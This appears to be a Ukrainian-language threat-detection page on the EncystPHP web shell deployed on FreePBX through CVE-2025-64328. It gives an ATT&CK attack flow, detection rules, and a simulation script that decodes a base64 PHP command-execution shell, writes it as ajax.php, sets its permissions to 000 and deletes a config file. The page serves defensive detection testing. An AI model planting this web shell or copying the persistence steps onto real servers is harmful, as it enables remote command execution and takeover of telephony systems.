EncystPHP: Зброєздатна веб-оболонка FreePBX для стійкого компрометування адміністратора
Detection stack
- AIDR
- Alert
- ETL
- Query
Резюме
FortiGuard Labs повідомляє про PHP веб-шелл під назвою EncystPHP впроваджений на відкритих інстанціях FreePBX шляхом експлуатації CVE-2025-64328. Імплант дає змогу віддалено виконувати команди, надає права привілейованим користувачам і встановлює багатошарову стійкість через cron завдання та подальші дропери. Діяльність пов’язана з командою INJ3CTOR3 і, схоже, націлена на телекомунікаційні середовища. До опублікованих індикаторів належать зловмисні IP-адреси, домени, URL-адреси та декілька ворожих шляхів файлів.
Розслідування
Слідчі відстежили початковий доступ до помилки ін’єкції команд після аутентифікації в FreePBX Endpoint Manager. Після успішної експлуатації оператор витягує дропер з 45.234.176.202, послаблює дозволи на ключові компоненти PHP, витягує облікові дані бази даних, створює обліковий запис рівня root і додає контрольований зловмисником SSH ключ. Стійкість підкріплюється записами cron, які безперервно отримують додаткові дропери та оновлюють артефакти. EncystPHP також маскується під легітимні файли FreePBX і маніпулює часовими мітками, щоб зменшити видимість під час рутинного триажу.
Стримування
Виправте FreePBX Endpoint Manager, щоб розв’язати CVE-2025-64328 (і будь-які супутні виправлення) якомога швидше. Шукайте несанкціоновані веб-шелл файли, підозрілі розклади cron і новостворених локальних користувачів з правами адміністратора. Блокуйте вихідний HTTP до відомої зловмисної інфраструктури і забезпечте суворі, мінімально необхідні дозволи на каталоги, що стикаються з вебом, і PHP активи.
Відповідь
При виявленні ізолюйте уражений PBX сервер, видаліть артефакти EncystPHP, знищте несанкціоновані cron завдання і скиньте локальні облікові записи та SSH ключі. Перевірте журнали та резервні копії конфігурацій, щоб визначити зміни, потім застосуйте поточні оновлення безпеки та зміцніть веб-інтерфейс. Переконайтесь, що жодні вторинні дропери або механізми стійкості не залишилися, перш ніж відновлювати нормальну роботу телефонії.
graph TB %% Class Definitions classDef action fill:#99ccff classDef tool fill:#ffcc99 classDef file fill:#ccffcc classDef process fill:#ffeb99 %% Nodes initial_access[“<b>Action</b> – <b>T1190 Exploit Public-Facing Application</b><br/>Експлуатація менеджера кінцевих точок FreePBX CVE-2025-64328”] class initial_access action tool_wget[“<b>Tool</b> – <b>Name</b>: wget<br/><b>Description</b>: завантаження файлів через HTTP”] class tool_wget tool process_shell[“<b>Process</b> – <b>T1059.004 Command and Scripting Interpreter: Unix Shell</b><br/>Bash-скрипти c, k.php, test.sh, декодовані з Base64”] class process_shell process file_c[“<b>File</b> – c (bash script)”] class file_c file file_kphp[“<b>File</b> – k.php (PHP dropper)”] class file_kphp file file_testsh[“<b>File</b> – test.sh (bash script)”] class file_testsh file credential_access[“<b>Action</b> – <b>T1003 OS Credential Dumping</b><br/>Зібрано облікові дані бази даних з /etc/freepbx.conf”] class credential_access action file_freepbxconf[“<b>File</b> – /etc/freepbx.conf”] class file_freepbxconf file priv_esc_exploit[“<b>Action</b> – <b>T1068 Exploitation for Privilege Escalation</b>”] class priv_esc_exploit action account_create[“<b>Action</b> – <b>T1136.001 Create Account: Local Account</b><br/>Створено користувача рівня root newfpbx з наперед заданим хешем пароля”] class account_create action persistence_webshell[“<b>Action</b> – <b>T1505.003 Server Software Component: Web Shell</b><br/>Розгорнуто EncystPHP, замаскований під ajax.php та config.php”] class persistence_webshell action file_ajaxphp[“<b>File</b> – ajax.php (web shell)”] class file_ajaxphp file file_configphp[“<b>File</b> – config.php (web shell)”] class file_configphp file persistence_cron[“<b>Action</b> – <b>T1053.003 Scheduled Task/Job: Cron</b><br/>Встановлено cron-завдання для завантаження та виконання k.php кожну хвилину”] class persistence_cron action defense_perm_mod[“<b>Action</b> – <b>T1222.002 File and Directory Permissions Modification: Linux</b><br/>Встановлено права доступу 000 та підроблено часові мітки”] class defense_perm_mod action defense_masquerade[“<b>Action</b> – <b>T1036.005 Masquerading</b><br/>Розміщено оболонки у легітимних на вигляд шляхах”] class defense_masquerade action defense_indicator_removal[“<b>Action</b> – <b>T1070.004 File Deletion</b> and <b>T1070.006 Timestomp</b><br/>Видалено журнали, cron-записи та змінено часові мітки файлів”] class defense_indicator_removal action lateral_movement_ssh[“<b>Action</b> – <b>T1021.004 Remote Services: SSH</b> and <b>T1098.004 SSH Authorized Keys</b><br/>Вставлено публічний ключ зловмисника до authorized_keys”] class lateral_movement_ssh action command_and_control[“<b>Action</b> – <b>T1105 Ingress Tool Transfer</b> and <b>T1071.001 Application Layer Protocol: Web Protocols</b><br/>Отримано дропери з 45.234.176.202 за допомогою wget”] class command_and_control action impact_hijack[“<b>Action</b> – <b>T1496 Resource Hijacking</b><br/>PBX використано для несанкціонованих вихідних дзвінків”] class impact_hijack action defense_impair[“<b>Action</b> – <b>T1562.001 Impair Defenses</b> and <b>T1548 Abuse Elevation Control Mechanism</b><br/>Вимкнено звітування про помилки та використано адміністративний контекст для змін у системі”] class defense_impair action %% Edges initial_access –>|uses| tool_wget tool_wget –>|downloads| file_c tool_wget –>|downloads| file_kphp tool_wget –>|downloads| file_testsh initial_access –>|leads to| process_shell process_shell –>|executes| file_c process_shell –>|executes| file_kphp process_shell –>|executes| file_testsh process_shell –>|leads to| credential_access credential_access –>|reads| file_freepbxconf credential_access –>|enables| priv_esc_exploit priv_esc_exploit –>|enables| account_create account_create –>|enables| persistence_webshell persistence_webshell –>|creates| file_ajaxphp persistence_webshell –>|creates| file_configphp persistence_webshell –>|enables| persistence_cron persistence_cron –>|creates| file_kphp persistence_cron –>|uses| tool_wget persistence_cron –>|sets| defense_perm_mod defense_perm_mod –>|supports| defense_masquerade defense_masquerade –>|supports| defense_indicator_removal persistence_webshell –>|supports| lateral_movement_ssh lateral_movement_ssh –>|enables| command_and_control command_and_control –>|provides| impact_hijack command_and_control –>|supports| defense_impair
Потік атаки
Детекції
Можливий новий обліковий запис для стійкості [Linux] (через cmdline)
Переглянути
Файл cron був створений (через file_event)
Переглянути
Завантаження в підозрілі каталоги (через cmdline)
Переглянути
Можлива спроба виявлення відомих хостів SSH [MacOS] (через cmdline)
Переглянути
Можлива маніпуляція з Base64-кодованими рядками (через cmdline)
Переглянути
IOCs (DestinationIP) для виявлення: Розкриття веб-шеллу EncystPHP в FreePBX, що створює стійке адміністраторське втручання
Переглянути
IOCs (HashSha256) для виявлення: Розкриття веб-шеллу EncystPHP в FreePBX, що створює стійке адміністраторське втручання
Переглянути
IOCs (SourceIP) для виявлення: Розкриття веб-шеллу EncystPHP в FreePBX, що створює стійке адміністраторське втручання
Переглянути
Виявлення записів crontab для постійного завантаження k.php і c дроперів [Linux процес створення]
Переглянути
Розгортання EncystPHP Web Shell і стійкість через CVE-2025-64328 [Linux процес створення]
Переглянути
Виявлення активності EncystPHP Web Shell у FreePBX [Подія файлу Linux]
Переглянути
Виконання симуляції
Передумова: Перевірка телеметрії та базового рівня Pre‑flight Check повинна пройти.
Рішення: Цей розділ детально описує точну реалізацію техніки противника (TTP), призначену для виклику правила виявлення. Команди та наратив МУСИТЬ прямо відображати ідентифіковані TTP і мають мету генерувати точну телеметрію, очікувану логікою виявлення.
-
Наратив атаки та команди:
- Завантажте веб-шелл EncystPHP – Зловмисник створює PHP навантаження, закодоване у Base64, і відправляє його через HTTP POST в веб-інтерфейс FreePBX, що призводить до того, що файл
ajax.phpбуде записано до/var/www/html/admin/views/ajax.php. - Встановіть обмежувальні дозволи – Відразу після впровадження зловмисник запускає
chmod 000 ajax.phpщоб сховати шелл від звичайних користувачів і примусово виконувати його під привілейованим акаунтом веб-сервера (T1222.002). - Видалити критичну конфігурацію – Щоб погіршити виявлення та примусити систему перезавантажитися зі зловмисним шеллом, зловмисник видаляє
/etc/freepbx.conf(T1070.004, T1562.001). - Запустити шелл – Простий HTTP GET до новоствореного
ajax.phpвиконує навантаження, встановлюючи зворотний шелл (T1105, T1059.004).
- Завантажте веб-шелл EncystPHP – Зловмисник створює PHP навантаження, закодоване у Base64, і відправляє його через HTTP POST в веб-інтерфейс FreePBX, що призводить до того, що файл
-
Сценарій регресійного тесту: Скрипт відтворює кроки 1-3 у контрольованій тестовій директорії (
/tmp/freepbx_test) для уникнення впливу на продуктивну систему.# encystphp_simulation.sh set -euo pipefail # ----- Setup test directories (mirroring FreePBX layout) ----- TEST_ROOT="/tmp/freepbx_test" WEB_ROOT="${TEST_ROOT}/var/www/html/admin/views" CONFIG_FILE="${TEST_ROOT}/etc/freepbx.conf" sudo mkdir -p "${WEB_ROOT}" sudo mkdir -p "$(dirname "${CONFIG_FILE}")" # ----- Create dummy config file (will be deleted) ----- echo "freepbx configuration" | sudo tee "${CONFIG_FILE}" > /dev/null # ----- Base64‑encoded EncystPHP payload (very small stub) ----- PAYLOAD_B64="PD9waHAKc3lzdGVtKCRfR0VUWydjbWQnXSk7Cj8+" # ----- Step 1: Deploy web shell ----- echo "${PAYLOAD_B64}" | base64 -d | sudo tee "${WEB_ROOT}/ajax.php" > /dev/null echo "Web shell deployed at ${WEB_ROOT}/ajax.php" # ----- Step 2: Restrictive permission (000) ----- sudo chmod 000 "${WEB_ROOT}/ajax.php" echo "Permissions set to 000" # ----- Step 3: Delete critical config file ----- sudo rm -f "${CONFIG_FILE}" echo "Deleted ${CONFIG_FILE}" # ----- Optional: trigger the shell (simulated) ----- # curl -s "http://localhost/admin/views/ajax.php?cmd=id" echo "Simulation complete. Check SIEM for alerts." -
Команди очищення:
# cleanup_encystphp_simulation.sh set -euo pipefail TEST_ROOT="/tmp/freepbx_test" sudo rm -rf "${TEST_ROOT}" echo "Тестова середа очищена."